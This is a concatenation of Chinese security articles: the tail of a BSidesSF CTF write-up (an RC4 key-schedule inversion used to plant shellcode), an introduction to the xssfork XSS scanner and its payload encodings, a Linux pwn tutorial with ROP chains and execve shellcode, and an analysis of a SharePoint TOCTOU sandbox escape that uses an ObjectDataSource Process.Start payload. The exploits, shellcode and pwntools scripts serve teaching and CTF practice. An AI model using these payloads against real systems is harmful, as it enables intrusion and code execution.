52218557622655182058721298410128724497736237107858961398752582948746717509543923532995392133766377362569697253085889
可以看到两处值一致，即我们成功完成了本题的任务，接下来使用attack命令即可得到flag：
RSA debugger> attack
Satellite response: CTF{curveball_not_just_for_ecc}
## ripc4
题目描述：
[@TODO](https://github.com/TODO "@TODO") symmetric
ripc4-42d6573e.challenges.bsidessf.net:8267
题目附件：
[ripc4](https://github.com/ichunqiu-resources/anquanke/blob/master/009/ripc4/ripc4)
[ripc4.c](https://github.com/ichunqiu-resources/anquanke/blob/master/009/ripc4/ripc4.c)
本题给出了服务器的地址和端口，同时给出了服务器端运行着的binary及其源码，该binary提供了三组模式，分别是明文模式、编码模式和加密模式：
type (plain, encoded, encrypted)>
每个模式提供的命令如下：
#plain
type (plain, encoded, encrypted)> plain
set_input : Set the input value
print : Print the output value
quit : Quit the Program
command>
#encoded
type (plain, encoded, encrypted)> encoded
set_input : Set the input value
print : Print the output value
set_encoding: Set the encoding scheme.
quit : Quit the Program
command>
#encrypted
type (plain, encoded, encrypted)> encrypted
set_input : Set the input value
set_key : Set the RC4 key.
encrypt : Perform encryption.
quit : Quit the Program
command>
其中编码模式可以选择使用base64或hex方式进行编码，加密模式会使用RC4进行加密，可以看到明文模式和编码模式的界面都显示了print命令，但encrypted模式没有，但是审计源码我们可以发现程序在判断用户输入的命令是print后并没有继续判断当前处于什么模式，因此我们在加密模式下仍然可以执行print命令，print命令会调用print_state函数，我们来看一下该函数：
void print_state(workspace_t *ws) {
if (CHECK_TYPE(ws, TYPE_ENCODE)) {
if (!ws->print_encoded) {
printf("Must use set_encoding first.n");
return;
}
ws->print_encoded(ws->input_buf, ws->buf_len);
} else if (CHECK_TYPE(ws, TYPE_PLAIN)) {
printf("%sn", ws->input_buf);
} else {
printf("Printing not supported for encrypted data.n");
}
}
print_state函数首先会试图通过CHECK_TYPE(ws,
TYPE_ENCODE)来判断当前是否处于编码模式，但是这里存在一个问题，我们查看一下CHECK_TYPE的宏定义：
#define CHECK_TYPE(ws, t) ((ws->type & t) == t)
可以看到它是根据((ws->type & t) == t)的结果来判断当前所处的模式，这里程序的三种模式的宏定义如下：
#define TYPE_PLAIN 1
#define TYPE_ENCODE 2
#define TYPE_ENCRYPT 3
那么当我们选择加密模式后，ws->type会被设置为3，print_state函数在使用CHECK_TYPE(ws,
TYPE_ENCODE)时，会计算3&2是否等于2，而显然这里是相等的，因此我们在加密模式下调用print_state函数时会进入到第一个编码模式为True的分支中。我们继续来看一下，进入到该分支之后，程序会判断!ws->print_encoded是否为True，即ws->print_encoded是否被设置了内容，如果没有被设置过的话程序就会打印提示语句并退出，但是我们审计代码会发现，ws->print_encoded只在set_encoding中被设置过，但是set_encoding需要在编码模式下才能调用，我们现在是在加密模式，因此我们需要想办法寻找其他方式来设置ws->print_encoded。
由于ws是workspace_t结构体变量，我们回到workspace_t结构体本身来看一下：
typedef struct {
int type;
char *input_buf;
size_t buf_len;
union {
void (*print_encoded)(const char *, size_t);
char *enc_state;
};
} workspace_t;
可以看到print_encoded函数和enc_state是写在联合体union当中的，由于union当中几个不同类型的变量共占一段内存，因此会出现相互覆盖的问题，即如果我们设置了enc_state，同样能过掉!ws->print_encoded这一check，这样一来，在ws->print_encoded(ws->input_buf,
ws->buf_len)时，程序就会跳到states处执行，因此如果我们可以将256字节的states设置为shellcode，就可以在加密模式下执行print命令来执行shellcode，因此我们接下来查看一下如何设置enc_state。
审计代码可知set_key函数可以设置enc_state，set_key函数首先调用secure_malloc函数来为enc_state分配256字节的空间，我们查看secure_malloc函数可以发现函数以PROT_RW方式分配存储页，而PROT_RW在宏定义处设置为(PROT_MASK|PROT_READ|PROT_WRITE)，而PROT_MASK又设置为(PROT_READ|PROT_WRITE|PROT_EXEC)，即我们分配的页面是可写、可读可执行的。
分配完空间后接下来对enc_state进行初始化，在set_key函数中我们可以看到RC4的states在初始化时是对256个字节依次赋值x00到xff，随后该states只经历了置换运算，没有经历代换运算，因此states中的256个字节是互不相同的，也就意味着我们的shellcode中的每个字节只能出现一次。但是我们这里想要执行shellcode的话，’/bin/sh’中包含了两个’/‘，出现了相同字节，所以我们需要调整一下shellcode（当然也可以采用多级shellcode的方式）：
00000000 31F6 xor esi,esi
00000002 56 push esi
00000003 48 dec eax
00000004 BB2E62696E mov ebx,0x6e69622e
00000009 2F das
0000000A 7368 jnc 0x74
0000000C 0080CB015354 add [eax+0x545301cb],al
00000012 5F pop edi
00000013 F7EE imul esi
00000015 B03B mov al,0x3b
00000017 0F05 syscall
由于我们输入的内容是key，因此我们可以写一个脚本来计算一下，当输入什么样的key时，程序中的states会恰好变成我们构造的shellcode。
我们从RC4的密钥调度部分入手，RC4的密钥调度算法如下：
def key_scheduling(key):
j = 0
state = range(256)
for i in range(256):
j = (j + state[i] + key[i % 256]) & 0xff
state[i], state[j] = state[j], state[i]
return state
根据该算法我们可以写出该算法的逆算法：
def reverse_key_scheduling(state):
init = range(256)
key = []
j = 0
for i in range(256):
idx = init.index(state[i])
last_j = j
key.append((idx + 1024 - j - init[i]) & 0xff)
j = idx & 0xff
assert (last_j + init[i] + key[-1] & 0xff == j)
init[i], init[j] = init[j], init[i]
return key
根据该逆算法我们可以写出由shellcode（即state）求key的脚本如下：
#!/usr/bin/env python
import random
from Crypto.Util.number import *
def reverse_key_scheduling(state):
init = range(256)
key = []
j = 0
for i in range(256):
idx = init.index(state[i])
last_j = j
key.append((idx + 1024 - j - init[i]) & 0xff)
j = idx & 0xff
assert (last_j + init[i] + key[-1] & 0xff == j)
init[i], init[j] = init[j], init[i]
return key
state = range(256)
shellcode = '31f65648bb2e62696e2f73680080cb0153545ff7eeb03b0f05'
shellcode = map(bytes_to_long, list(shellcode.decode('hex')))
for i in shellcode:
state.remove(i)
random.shuffle(state)
state = shellcode + state
key = reverse_key_scheduling(state)
print ''.join([i.replace('0x', '').zfill(2) for i in (map(hex, key))])
有了key之后，我们可以写exp如下：
from pwn import *
r = remote('ripc4-42d6573e.challenges.bsidessf.net', 8267)
#使用上面的脚本所生成的一个key
key = '31c45eef6f6e2e00fdb83aeabd423d1c4df0f985e3ad75a42061ab2dc00fdc78257114ee0a035e1984590f2a0ab64f9d5156679b4d0cb0f9017ad0f88142a2a5f988d1e6a7e7810cb6f8d8a86df1cbb9ca57f30377ab49812a6960d7391ee0a517a0dfb79232cd18d196a89d9abc497abd68e4fc571eea6fd664aa47a1dd99b1c69601806034e829437ea985bf4e9216b30315207a6911636c83a07b736eb8688b56310054993160b9bcabc82a6d37d9188b6823bb9f9886ee3477956923c8fa2249603d746a25569db2bc89423fb7767494b7c92ac92c5c9699a1be4eceb618b7ea1b40445ee7ae0ce0b7c2e4175bcbc817301fb7bfe62c1c5f5f412a2d2d2c'
r.sendline('encrypted')
r.sendline('set_key')
r.sendline(key)
r.sendline('print')
r.interactive()
执行exp即可拿到shell，从而得到flag：
CTF{R.I.P_RC4_u_were_fun_while_it_lasted}
## 参考
[https://docs.microsoft.com/en-us/windows/win32/seccrypto/example-c-program–importing-a-plaintext-key](https://docs.microsoft.com/en-us/windows/win32/seccrypto/example-c-program--importing-a-plaintext-key)
<http://www.ai.mit.edu/courses/6.836-s03/handouts/sierra/random.c>
<https://hal.archives-ouvertes.fr/hal-02182827/document>
<https://en.wikipedia.org/wiki/Scalable_Vector_Graphics>
<https://en.wikipedia.org/wiki/Chaffing_and_winnowing>
<https://tailcall.net/blog/cracking-randomness-lcgs/>
<https://en.wikipedia.org/wiki/Pohlig%E2%80%93Hellman_algorithm>
<https://en.wikipedia.org/wiki/Primitive_root_modulo_n> | 社区文章 |
作者：[bsmali4](http://www.codersec.net/2017/07/xssfork%E4%B8%80%E6%AC%BExss%E6%8E%A2%E6%B5%8B%E5%B7%A5%E5%85%B7/)
#### xssfork简介
xssfork 作为 sicklescan 的一个功能模块，其开发主要目的是用于检测 xss 漏洞。
传统的 xss 探测工具，一般都是采用 payload in response 的方式，即在发送一次带有 payload 的 http
请求后，通过检测响应包中 payload 的完整性来判断，这种方式缺陷，很多。
第一：不能准确地检测 dom 类 xss
第二：用类似于 requests 之类的库不能真正的模拟浏览器
第三：网页 js 无法交互
怎么解决？如果能够用浏览器代替这个模块，去自动hook是最好的。所幸，我了解到 phantomjs，当然现在 google 浏览器也支持 headless
模式，类似的，你也可以采用 google 浏览器去做检测。
#### 原理
对于这类 fuzz 过程,基本都是预先准备好一些 payload,然后加载执行。对于这类 io 型密集的扫描模型，后端使用多线程就比较适用，但是由于
phantomjs 你可以理解为一个无界面的浏览器，在加载的时候，其缺陷也比较明显，比较吃内存，用它来发包自然不像 requests 库轻量。
#### 编码脚本
由于基础的 payload 模块，我收集了71个。
基础 payload 会在现有的基础上，会添加上各种闭合的情况。
除了这些基础的 payload,xssfork 还提供了几个编码脚本，查看脚本，可以看 help
现阶段提供了10进制，16进制，随机大小写，关键字叠加四个脚本。
###### 10hex_encode
将 html 标签内部字符10进制化
<a href=javascript:alert(65534);>aaa</a>
其效果如下
###### 16hex_encode
将 html 标签内部字符16进制化
###### uppercase
随机大小写将 `<script>alert(65534);</script>` 转换成 `<ScRIPt>alert(65534);</ScRIpT>`
###### addkeywords
主要是应对过滤为 `replace('keyword>s','')` 的情况，`<script>alert(65534);</script>` 变成
`<<script>script>alert(65534);</script>`当然默认开启的是轻量模式，即只返回一个payload，开启重量模式，可以生成更加丰富的pyaload，效果如下
<script>alert(65534);</script>
<script>alert(65534);</ScrIpt>
<ScrIpt>alert(65534);</sCrIpt>
<scRiPt>alert(65534);</script>
<ScrIpt>alert(65534);</script>
#### 演示
场景1.反射型xss
场景2.大小写绕过
场景3.dom型xss
场景3.post类型
场景4.需要验证cookie
post类型
python xssfork.py -u "xx" -d "xx" 存储型
python xssfork.py -u "xx" -d "xxx" -D "输出位置" 带cookie python xssfork.py -u "xx"
-c "xx"
#### 说明
开源只为分享，请勿将本脚本做任何商业性质的集成。开发的时候，有可能很多情况没有考虑到，如果你有更好的建议或者发现bug，可以联系我邮箱root@codersec.net
，xssfork.codersec.net网站还在建设中，github不要吝啬你的star。
开源地址 https://github.com/bsmali4/xssfork ，记得不要吝啬你的star
* * * | 社区文章 |
# Linux pwn从入门到熟练（二）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
上回说到，如何利用程序中system函数以及bin/sh字符串来进行pwn。这里我们会介绍，如何在栈可执行而system函数以及参数没有的情况下，如何自己布置payload进行pwn。此外，还提供了一份可以参考的pwn套路，套路熟悉了，即可慢慢转化为熟悉。故此名曰：入门到熟练（二）。
## 练习题参考（利用库函数读取参数）
所谓的入门到熟练，套路还是要有的。套路有了，就可以见招拆招。我们一步一步来。
拿到题，我们需要依次查看：
1. 检查保护情况
2. 判断漏洞函数，如gets,scanf等
3. 计算目标变量的在堆栈中距离ebp的偏移
4. 分析是否已经载入了可以利用的函数，如system，execve等
5. 分析是否有字符串/bin/sh
[Pwn4](https://github.com/desword/pwn_execrise/raw/master/pwn_basic_rop/pwn4)题目地址。
### 第一步，保护情况，
发现堆栈不可以执行，其他到还好。那么，我们在溢出时就需要再堆栈中部署的具有功能的地址，而不是具体的代码了。理解成堆栈中需要布置路线图，之后的程序按照这个路线图来执行。
反之，如果堆栈可以执行，我们就要思考如何布置shellcode，如何优化shellcode长度以及删除坏字符。（将在下一题的时候介绍）
### 第二步，检测漏洞函数。
发现是gets。这里分享一个ctf-pwn-tips，里面总结了很多的存在漏洞的函数，以及输入参数的描述，非常实用。[TIPS](https://github.com/Naetw/CTF-pwn-tips)
### 第三步，确认偏移量。
有几种方式。
我们可以直接从IDA的代码中分析出来，参数距离EBP的位置。如上述，看到距离ebp是0x64（100）个的字节，那么距离存放返回地址的偏移就是100+4=104个字节。但是，IDA的分析并不都是准确的，真正准确的位置，还是需要我们手动去调试。具体方法参考[Linux
PWN从入门到熟练](https://www.anquanke.com/post/id/164530)。这里简单整理一下步骤（假设linux程序在虚拟机guest执行，IDA在主机host执行）：
1. 拷贝linux_server到guest的程序目录，并执行；
2. IDA设置远程调试，并设置正确的guest IP和端口；
3. IDA设置程序的断点在return，可以方便查看寄存器；
4. 运行程序；
5. 用脚本patternLocOffset.py创建偏移测试字符串，700字节度比如；
6. 将产生的字符串在guest中输入；
7. 查看host中IDA的ebp字符串；
8. 在patternLocOffset.py中计算偏移
最终应该可以看到下面类似的结果。
$ python patternLocOffset.py -l 700 -s 0x41366441
[*] Create pattern string contains 700 characters ok!
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 108 (adjusted another-endian)
[+] take time: 0.0004 s
发现实际的偏移是108个字节，覆盖点距离ebp。那么距离返回地址就应该是108+4=112字节。可见，IDA的分析有时是不准的，需要自己去测量。
### 第四步，分析可以利用的函数，
发现有system的：
### 第五步,查找是否有系统调用字符串：
ROPgadget --binary ret2libc2 --string "/bin/sh"
Strings information
============================================================
发现并没有字符串了，因此这里我们需要想个办法。
直观的想法是在shellcode中，在参数的位置直接放入字符串“/bin/sh”，比如下面这样：
payload = flat(['a' * 112, system_plt, 0xabcdabcd, “/bin/sh”])
但是正如我们前面所说，放在堆栈中的是程序执行的路线图，而不是实际的程序或者字符串，因此，按照上述方式放置字符串，system并不会读取”/bin/sh”，而是读取”/bin/sh”对应的4个字节的地址所指向的内存空间，这个空间明显是不合法，因此就会导致利用失败。
怎么办呢？我们发现程序中还载入了函数gets，那么我们可以利用gets来读取用户输入的”/bin/sh”放置到某个地址空间去，接着system再调用它。“某个地址空间”可以是下面的buf2，可以发现它的地址是0x0804A080。这个空间可以让我们使用（感觉明显是CTF题留出来的位置=
=）
那么，我们的exp可以按照下面的方式安排：
##!/usr/bin/env python
from pwn import *
sh = process('./pwn4')
shelf = ELF('./pwn4')
gets_plt = shelf.plt['gets']
system_plt = shelf.plt['system']
pop_ebp = 0x0804872f
buf2 = 0x804a080
payload = flat(
['a' * 112, gets_plt, pop_ebp, buf2, system_plt, 0xabcdabcd, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
其中关键的代码是：
payload = flat(
['a' * 112, gets_plt, pop_ebp, buf2, system_plt, 0xabcdabcd, buf2])
相信有的朋友会不明白，为啥有个[gets_plt, pop_ebp,
buf2]，这样的payload布置。Pop_ebp的主要目的是让eip流向system的位置，并且取出system地址赋值给eip。
Pop_ebp其实不一定是pop
ebp，pop任何其他的寄存器都可以，主要是利用该指令的esp+4的功能。比如，我们可以找到如下的位置，其中0x0804872f，0x0804843d都可以让它esp+4操作一次就好，操作多了就流的多了，就不指向system地址了，注意我们这里还要求得要返回ret一下，这样才会实际的提取system的地址出来，赋值给eip：
@ubuntu:~/ $ ROPgadget --binary pwn4 --only 'pop|ret'
Gadgets information
============================================================
0x0804872f : pop ebp ; ret
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
0x0804872e : pop edi ; pop ebp ; ret
0x0804872d : pop esi ; pop edi ; pop ebp ; ret
0x08048426 : ret
0x0804857e : ret 0xeac1
Unique gadgets found: 7
未来更清楚一些，画了一个图，其中序号的顺序表示，对应的命令执行完之后，esp对应的位置。
## 第一题（堆栈直接执行shellcode）
接下来这题，我们再轻松一点，可以直接在堆栈中执行程序。
[pwn5](https://github.com/desword/pwn_execrise/raw/master/pwn_basic_rop_2/%20pwn5)
继续前面的套路。
### 第一步，查看保护
发现，可以直接在堆栈上执行程序了，开启的是PIE，地址随机化的保护。
### 第二步，判断漏洞函数。
发现函数是read，仅仅读取0x40（64）个字节。
### 第三步，计算目标变量的在堆栈中距离ebp的偏移
EBP的内容为：0x3761413661413561
$ python patternLocOffset.py -l 700 -s 0x3761413661413561
[*] Create pattern string contains 700 characters ok!
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 16 (adjusted another-endian)
[+] take time: 0.0005 s
距离EBP的偏移是16个字节，距离存放的返回地址是16+8=24个字节。
这里可以发现IDA分析的又是正确的了，0x10个字节。
### 第四步和第五步，分析是否已经载入了可以利用的函数，
如system，execve等
发现，并没有上述函数。但是由于堆栈可以执行，因此我们可以考虑直接将shellcode阻止在payload里面。因此，这里和第五步分析是否有字符串/bin/sh合并了，我们可以自己放置字符串，并且调用对应的地址了。
理论上，我们可以直接利用pwntools产生的shellcode来进行部署，但是这道题有点特殊。在返回地址之后所剩余的空间=64-24-8=32个字节（返回地址还要占用8个字节），因此实际部署shellcode的长度还剩下32个字节，使用pwntools产生的shellcode有44个字节，太长了。因此，我们可以从网上找到更短的shellcode：
# 23 bytes
# https://www.exploit-db.com/exploits/36858/
shellcode_x64 = "x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05"
它的汇编形式是
# char *const argv[]
xorl %esi, %esi
# 'h' 's' '/' '/' 'n' 'i' 'b' '/'
movq $0x68732f2f6e69622f, %rbx
# for 'x00'
pushq %rsi
pushq %rbx
pushq %rsp
# const char *filename
popq %rdi
# __NR_execve 59
pushq $59
popq %rax
# char *const envp[]
xorl %edx, %edx
syscall
好了，shellcode确定好了，我们现在还有一个问题。Shellcode执行的地址如何确定呢？shellcode的地址，其实就是buf的地址加上32个字节的偏移。
我们前面发现，该程序是动态改变地址的，因此静态的确认buf地址是不可行的，进而静态的确认shellcode的地址是不可行的。
处理到这里好像有点死胡同了，我们发现程序中有printf函数，理论上可以利用它来打印buf的地址，然后实时的计算buf+32的地址，就能够得到shellcode的地址。但是，我们回头看看程序本身的执行，会发现：
它实际上已经为我们解决了这个问题，自己输出了buf的地址（= = CTF题目的难易程度真的是微妙之间呀）
那么，我们的exp思路就是： 实时读取buf的地址，计算buf+32得到shellcode的地址，放置在payload中。
from pwn import *
code = ELF('./pwn5')
# 23 bytes
# https://www.exploit-db.com/exploits/36858/
shellcode_x64 = "x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05"
sh.recvuntil('[')
buf_addr = sh.recvuntil(']', drop=True)
buf_addr = int(buf_addr, 16)
payload = 'b' * 24 + p64(buf_addr + 32) + shellcode_x64
sh.sendline(payload)
sh.interactive()
堆栈的布置图，以及地址的相对位置，以buf为起点。
## 第二题（控制esp进行精准打击）
接下来，我们来点有难度的。在这个程序中，我们的payload实在放不下了，即使是23字节，那么怎么办呢？
[pwn6](https://github.com/desword/pwn_execrise/raw/master/pwn_basic_rop_2/pwn6)
继续前面的过程：
### 第一步：检测保护情况
发现，是个三无程序。么有任何保护，看起来很简单？哈哈，并没有。看官请继续。
### 第二步，判断漏洞函数，
如gets,scanf等
发现是fgets函数，仅仅读取50个字节的字符长度。
### 第三步，
计算目标变量的在堆栈中距离ebp的偏移。
方法和前面类似，发现偏移距离ebp是0x20，那么距离ret_addr就是0x20+4=0x24（36）字节了。
### 第四步和第五步：
分析是否已经载入了可以利用的函数。发现并没有
$ ROPgadget --binary stack_pivoting_1 --string '/bin/sh'
Strings information
============================================================
字符串自然也是没有的。
我们考虑利用shellcode，好像可以类似于上一题的操作了。但是并不能，留给我们布置shellcode的长度为50-36-4=10字节（同样有4个字节的返回地址存放）！尴尬不==，放两个地址就没有位置了。但如果你能够厉害到用10个字节做shellcode，请大胆分享出来！
那么怎么办呢？
既然，堆栈溢出的位置不行了，那么我们就把shellcode放在栈里面吧！因为堆栈具有可执行的权限，因此这样完全是可行的。
这里，我先放图出来解释一下思路：
我们这样就总共有0x20（36个字节）的位置存放shellcode的了，顿时感觉找到了新出路。但是，要做到跳转到放置shellcode的位置，似乎并没有那么简单。要达到这个目的，我们需要做到以下几件事情：
1. 推算shellcode放置的地址
2. 跳转到shellcode放置的位置
首先，第一点，shellcode的位置就是发射payload的时候esp_old的位置，我们可以推算出来，当程序提取完返回地址之后，esp指向的地址距离esp_old的地址为0x20+4(ebp)+4(ret_addr)=0x28。因此，我们需要用当前的esp-0x28，得到的就是shellcode的地址。
对于第二点，我们如何让eip顺利的依次取出我们设计好的路线图呢？在ret_addr，我们需要寻找到一个gadget，它能够跳转到esp的位置，以继续往后执行栈上的代码。注意，这里我们为什么不直接将可执行的代码布置在ret_addr的位置，因为这里是原本的函数提取返回函数地址的地方，它并不会执行这里位置的代码，而是执行这个位置的内容指向的地址的代码。我们需要jmp
esp这个操作，来让程序流获得在栈上执行的先河。
$ ROPgadget --binary stack_pivoting_1 --only 'jmp|ret' | grep 'esp'
0x08048504 : jmp esp
发现只有这么一个地址。0x08048504。这也正是图中的位置。注意，当我们取出ret_addr里面的地址的时候，esp已经+4了，因此就会指向我们的下一步操作：跳转回esp_old的位置。
在这里，我们直接可以选择让pwntools产生可执行的代码”sub esp 0x28; jmp
esp”。注意，这里可以是直接运行的代码，因为我们的程序已经开始在栈上执行了，而不再是取出地址了。
最后的EXP按照下面这样布置：
from pwn import *
sh = process('./pwn6')
shellcode_x86 = "x31xc9xf7xe1x51x68x2fx2fx73"
shellcode_x86 += "x68x68x2fx62x69x6ex89xe3xb0"
shellcode_x86 += "x0bxcdx80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86 + (
0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()
注意，这里我们又启用了另外一段代码：
它更加短，只有21个字节。Shellcode越短是越好的。它的汇编对应如下：
shellcode_x86 = "x31xc9” # xor ecx, ecx
shellcode_x86 += “xf7xe1” # mul ecx
shellcode_x86 += “x51” # push ecx
shellcode_x86 += "x68x2fx2fx73x68" # push 0x68732f2f
shellcode_x86 += "x68x2fx62x69x6e" # push 0x6e69622f
shellcode_x86 += “x89xe3” # mov ebx, esp
shellcode_x86 += “xb0x0b” # mov al, 0xb
shellcode_x86 += "xcdx80" # int 0x80
## 总结
最后，再次给大家留下练习题。
[pwn7](https://github.com/desword/pwn_execrise/raw/master/pwn_basic_rop_2/pwn7)
给大家一个小tips，32位和64位程序的调试，一般的处理方式是准备两个虚拟机。但是这样操作太麻烦了，而且pwntools在32位下面经常无法正常工作。怎么办呢？理论上64位ubuntu是可以运行32位程序的，但是需要相关的库函数安装。使用下面的命令安装就好（[参考](https://blog.csdn.net/kingroc/article/details/51143327)）：
sudo dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install zlib1g:i386 libstdc++6:i386 libc6:i386
如果是比较老的版本，可以用下面的命令：
sudo apt-get install ia32-libs
如果大家觉得好，欢迎大家来我的github主页follow:
[desword_github](https://github.com/desword),[desword](https://desword.github.io/) | 社区文章 |
**作者：青藤实验室**
**原文链接：<https://mp.weixin.qq.com/s/ZLSFXUoNNAFxqeiD9RpYZg>**
在 [SharePoint Rce 系列分析（一）](https://paper.seebug.org/1424/) 里我简单介绍了 SP
的沙箱机制，并且通过 CVE-2020-0974 展示了 bypass 原理：
VerifyControlOnSafeList(..., false)
这类漏洞原理简单，正则特征明显，可以借助自动化手段检测，除非找到新的 bypass 点，之后再出现同类型的漏洞概率不大。
本文介绍的是议题中的另一个漏洞： **CVE-2020-1444** 。它在所有安全机制开启，没有方法参数使用不当情况下，通过 TOCTOU 实现了
rce；这种漏洞很难通过有效的漏洞模型去自动化检测，所以后续出现这种漏洞的可能性仍然 **存在** ，比如 CVE-2020-16951。
## 调试环境
Server2016
SP2016
dnSpy
通过 proexp 找到管理 web 的 pid
dnSpy attach 进程后在触发 url 被处理的地方下断点
## 背景知识
### ObjectDataSource
通过 [ObjectDataSource 定义](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.webcontrols.objectdatasource?view=netframework-4.8)
知道在 **asp.net** 中 `ObjectDataSource` 可以调用任意运行时方法，类似 `ObjectDataProvider`
### Asp.Net 的内联表达式
`<%-- ... -- %>` 表示注释
`<%@ ... %>` 表示指令
以上都是 asp.net 的内联表达式，更具体点，比如下面 Register 指令实例：
<%@ Register TagPrefix="asp3" Namespace="System.Web.UI.WebControls" Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %>
<asp3:ObjectDataSource ID="ODS1" runat="server" SelectMethod="Start" TypeName="System.Diagnostics.Process" >
<SelectParameters>
<asp3:Parameter Direction="input" Type="string" Name="fileName" DefaultValue="calc"/>
</SelectParameters>
</asp3:ObjectDataSource>
<asp3:ListBox ID="LB1" runat="server" DataSourceID = "ODS1" />
第1行注册了对 `System.Web.UI.WebControls` 命名空间的引用，类似 python 中的 `import`，别名是 asp3。
之后的 `<asp3:ObjectDataSource...>` 表示 `System.Web.UI.WebControls` 下必有一个名为
`ObjectDataSource` 的类。
## CVE-2020-1444
借用议题中的原图来概括漏洞过程：
用户输入在经过服务端校验后，被服务端 **修改** 后再使用，这个顺序显然是有问题的，也是漏洞成因，具体到代码里：
为了方便理解，我把 "change and use" 指向了 "check" 下一行，实际上这里只是 change
的开始，也是漏洞成因的一个关键地方，不是最终解析的地方。
### check
SP 的沙箱机制在议题中有详细介绍，上篇文章也说过，下面直接说漏洞相关的部分。
在 design mode 下，Check 通过 `VerifyControlOnSafeList` 完成。它位于：
请求发生时的调用栈
通过 call stack 可以看到 check 始于 `ConvertWebPartMarkup`。
暂时不考虑具体的校验逻辑，试想一下，假如上传的整个网页文件是个注释，比如：
这时 Check 肯定能通过。
### Change
Change 发生在 `ConvertMarkupToTree`。通过 `OnLoad` 前几行代码可以看出有两个必须提供的参数：
**WebPartUrl** 和 **Url** 。
Url 参数暂时不管，在后面 **漏洞利用** 章节会去讨论。通过对代码 trace 可以发现 WebPartUrl 指向的文件必须是一个 xml，这个
xml 还有其他要求，暂且不提。从服务端取参到 `ConvertMarkupToTree` 的处理步骤是：
1. 取参（url of xml）
2. 通过 web 获取 xml 的字符串流（GetWebPartMarkup）
3. 对字符串流做一些预处理，包括 **校验** （ConvertWebPartMarkup）
4. **将字符串流转成 xml 树（ConvertMarkupToTree)**
5. 经过各种处理...，将 xml 树 转回字符串流（xelement2.ToString）
6. 网页解析（ParseControl）
从上面可以看出 string -> xml tree 发生在校验之后，看看具体做了哪些事
下面是正则定义：
这个正则匹配的是内联表达式中的 `Register` 指令，有两个命名捕获：TagPrefix 和 DllInfo。
TagPrefix 用正则捕获，DllInfo 是 TagPrefix 之后的所有内容。比如下面的例子：
再来看 ConvertMarkupToTree：首先把所有 `Register` 指令从字符串流中取出来做特殊处理（比如全部放到 xml
首尾这样的特殊位置），把剩下的内容简单处理一下，比如去掉转义、重新添加一个 root 就转成 xml tree 了：
回忆一下刚才通过 Check 的 demo：
由于正则匹配到了其中的 Register 指令，取出 Register 指令之后：
webPartMarkup = webPartMarkup.Replace(match.Value, "")
demo 就变成了：
之后会继续构造 xml tree，在最终网页解析之前肯定还要转回字符串流，那么这里本应该是注释的内容（{unsafe ...}）就在变成了一个 ASPX
标签，实现了沙箱逃逸。
### 漏洞利用
BH 上作者给出了一部分 poc：
我参考了 CVE-2020-16951 的 poc，另一个 SP 的 TOCTOU 漏洞，结合上述分析，明白上述 xml
是这个漏洞利用的第一步，这个漏洞是分两步实现：
// put xml
PUT /poc.xml HTTP/1.1
...
// trigger rce
GET /_layouts/15/WebPartEditingSurface.aspx?WebPartUrl=http://.../poc.xml&Url=? HTTP/1.1
问题就出在 GET 请求的 URL 参数上，作者对这个参数的要求进行了简单说明：
我自然就想到了 Master Page Gallery 里的几个 master 文件
CVE-2020-16951 的 poc 就用了其中的 seattle.master
我尝试也用这个文件作为参数响应报错，calc 进程也没启动
在 SMP 中开启了启用详细日志：
Set-SPLogLevel –TraceSeverity VerboseEx
New-SPLogFile
Get-SPDiagnosticConfig | select LogLocation
Clear-SPLogLevel
通过重新错误的报错信息得到了报错时的 call stack：
Application error when access /_layouts/15/WebPartEditingSurface.aspx, Error=The field b510aac1-bba3-4652-ab70-2d756c29540f does not exist in the list item _catalogs/masterpage/seattle.master.
at Microsoft.SharePoint.Publishing.Internal.WebControls.ComponentRibbonHelper.GetContentTypeFieldValue(String pathToPageLayout)
at Microsoft.SharePoint.Publishing.Internal.WebControls.ComponentRibbonHelper.IsPageLayout(String pathToPageLayout, ContentTypeIdFieldValue& associatedContentTypeFieldValue)
at Microsoft.SharePoint.Publishing.Internal.WebControls.ComponentRibbonHelper.OnPreRender(EventArgs e)
at System.Web.UI.Control.PreRenderRecursiveInternal()
at System.Web.UI.Control.PreRenderRecursiveInternal()
at System.Web.UI.Control.PreRenderRecursiveInternal()
at System.Web.... 2c6c909f-e9be-00ce-823a-6efbede23872
...
进而确定了出错位置：
跟进后发现 `b510aac1-bba3-4652-ab70-2d756c29540f` 是 `FieldId.AssociatedContentType`
的 GUID：
正好和漏洞作者说的一致
It should contain the relative address of any file from the SharePoint
DataBase with the FieldId.AssociatedContentType field
我怎么判断 seattle.master 是否存在某个指定的 GUID 比如 `b5..0f` 呢。
通过[了解 Onet.xml 文件](https://docs.microsoft.com/zh-cn/previous-versions/office/developer/sharepoint-2010/ms474369\(v=office.14\))这篇文章我知道了
Onet.xml 定义了所有的 BaseTypes，我在所有 Onet.xml 里搜索这个 GUID 并没有找到，之后我扩大了搜索范围在
C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\TEMPLATE
最终在
C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\TEMPLATE\FEATURES\PublishingResources
下找到了包含这个 GUID 的两个 xml
参考 CVE-2020-16951 的 poc，url 如果是个 master 文件肯定没问题，不管 master 如何和 xml
关联，此时我想直接把`PublishingMasterTemplate.master` 作为 url，如果这样我必须通过 web 能访问到这个 master
文件。
google 了一下 `PublishingMasterTemplate.master` 得到一个别人报错信息中的 url：
/_catalogs/masterpage/Forms/Publishing Master Page/PublishingMasterTemplate.master
尝试直接访问这个 path 得到 404，进一步研究发现这个东西似乎和 publishingresources 这个 feature 有关，
**默认关闭** 。
